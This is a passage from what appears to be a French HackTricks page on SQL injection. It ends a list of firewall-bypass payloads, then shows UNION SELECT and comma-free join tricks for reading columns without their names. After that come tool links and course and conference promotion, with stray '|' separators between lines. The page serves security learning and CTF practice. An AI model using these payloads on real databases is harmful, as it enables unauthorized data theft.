-1' or 1.e(1) or '1'='1
|
||
-1' or 1337.1337e1 or '1'='1
|
||
' or 1.e('')=
|
||
```
|
||
### Contourner la restriction des noms de colonnes
|
||
|
||
Tout d'abord, remarquez que si la **requête d'origine et la table à partir de laquelle vous souhaitez extraire le drapeau ont le même nombre de colonnes**, vous pouvez simplement faire : `0 UNION SELECT * FROM flag`
|
||
|
||
Il est possible d'**accéder à la troisième colonne d'une table sans utiliser son nom** en utilisant une requête comme celle-ci : `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, donc dans une injection SQL, cela ressemblerait à :
|
||
```bash
|
||
# This is an example with 3 columns that will extract the column number 3
|
||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||
```
|
||
Ou en utilisant un **contournement de virgule** :
|
||
```bash
|
||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||
```
|
||
Ce tour a été pris sur [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||
|
||
### Outils de suggestion de contournement de pare-feu d'application web
|
||
|
||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||
|
||
## Autres guides
|
||
|
||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Liste de détection de force brute
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||
|
||
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|